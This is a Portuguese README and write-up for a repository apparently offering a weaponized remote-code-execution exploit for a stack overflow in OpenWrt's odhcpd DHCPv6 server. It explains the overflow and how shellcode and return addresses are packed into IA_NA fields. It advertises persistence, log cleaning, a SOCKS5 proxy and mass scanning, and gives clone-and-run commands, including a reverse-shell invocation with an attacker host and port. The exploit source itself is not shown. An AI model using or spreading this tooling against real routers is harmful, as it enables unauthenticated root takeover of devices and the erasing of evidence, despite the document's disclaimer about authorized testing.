
CVE-2026-53921 – Estouro de Pilha (Stack Overflow) do odhcpd (CVSS 9.8) 🛡️ Write-Up detalhado e abrangente da vulnerabilidade, Verificador e Multi-exploit para RCE via DHCPv6 no OpenWrt. Overflow de vetor duplo (IA_NA/IA_PD) com shellcode MIPS/ARM, cadeias ROP, proxy SOCKS5, persistência, limpeza de logs e varredura em massa. Use com Ética, Permaneça Dentro da Lei. 🔒

- Apenas para fins educacionais e testes autorizados. O uso não autorizado é ilegal.**
CVE-2026-53921 é um estouro de buffer de pilha crítico no daemon odhcpd do OpenWrt – o servidor padrão de DHCPv6/DHCPv4/RA.
A vulnerabilidade existe no código de tratamento de mensagens DHCPv6 do odhcpd,
especificamente nas funções build_ia() e dhcpv6_ia_handle_IAs().
O bug ocorre durante a serialização (empacotamento) dos pacotes DHCPv6 Reply.
Quando o odhcpd responde às solicitações do cliente, ele constrói a
resposta em um buffer de pilha de tamanho fixo de 512 bytes sem a devida
verificação de limites.
// Representação simplificada do código vulnerável
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// Sem verificação de limites antes da escrita
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
Um atacante envia um DHCPv6 Request (ou Solicit) com:
Cada opção consome espaço na pilha à medida que o odhcpd constrói sua Reply. Os
dados acumulados excedem 512 bytes, causando o estouro.
Vetor Gatilho Ponto de Estouro
Site 1 5 opções IA_NA build_ia() para IA_NA
com endereços IPv6
build_ia() para IA_PDA causa raiz é idêntica, mas o estouro ocorre em caminhos de código diferentes, tornando ambos os vetores igualmente exploráveis.
Layout da Pilha (simplificado):
+-------------------+ <-- Endereços altos
| Endereço de Retorno | ← Sobrescrito com valor controlado pelo atacante
+-------------------+
| Ptr de Frame Salvo |
+-------------------+
| Variáveis Locais | ← buffer de 512 bytes
+-------------------+ <-- Endereços baixos
O atacante sobrescreve o endereço de retorno salvo para apontar para seu shellcode na memória.
Requisito Descrição
Acesso à Rede O atacante deve ter conectividade IPv6 com o alvo
Autenticação Nenhuma -- ataque não autenticado
Privilégios O odhcpd é executado como root, então RCE concede
controle total do sistema
Em um exploit real, o shellcode do atacante é colocado nos campos de endereço IPv6 do IAAddress (16 bytes por IA_NA). Os pacotes elaborados empacotam o shellcode, o NOP sled e o endereço de retorno nesses campos.
Estrutura IA_NA Elaborada:
+-------------------+
| Cabeçalho IA_NA | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Endereço de retorno
+-------------------+
| IAAddress 5 | ← Endereço de retorno
+-------------------+
Requisição DHCPv6 Elaborada
↓
odhcpd processa opções IA_NA/IA_PD
↓
Buffer de pilha de 512 bytes estoura
↓
Endereço de retorno sobrescrito
↓
CPU salta para o shellcode
↓
Reverse shell / Bind shell / RCE
↓
Comprometimento total do sistema (privilégios de root)
Versão Status RCE Possível?
odhcpd < e432dd6 Vulnerável [+] Sim OpenWrt < 24.10.8 Vulnerável [+] Sim OpenWrt < 25.12.5 Vulnerável [+] Sim OpenWrt 24.10.8+ Corrigido [-] Não OpenWrt 25.12.5+ Corrigido [-] Não odhcpd master + e432dd6 Corrigido [-] Não
Esta vulnerabilidade é particularmente perigosa porque:
odhcpd está habilitado por padrão em instalações OpenWrt.| Componente | Versões vulneráveis | Corrigido em |
|---|---|---|
odhcpd (branch master) | antes do commit e432dd6 | e432dd6 ou posterior |
| Versões do OpenWrt | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
Este repositório fornece dois scripts independentes:
| Script | Propósito | Código de exploit | Segurança |
|---|---|---|---|
verifier.py | Verificação de vulnerabilidade não intrusiva | [-] Não | [+] Seguro |
exploit.py | Exploit completo weaponizado | [+] Sim | [!] Perigoso |
verifier.py – Verificador de Vulnerabilidadeexploit.py – Exploit CompletoIA_NA (Site1) e IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argumento | Descrição |
|---|---|
-u, --target | Endereço IPv6 alvo (obrigatório) |
-i, --iface | Interface de rede (padrão: eth0) |
exploit.py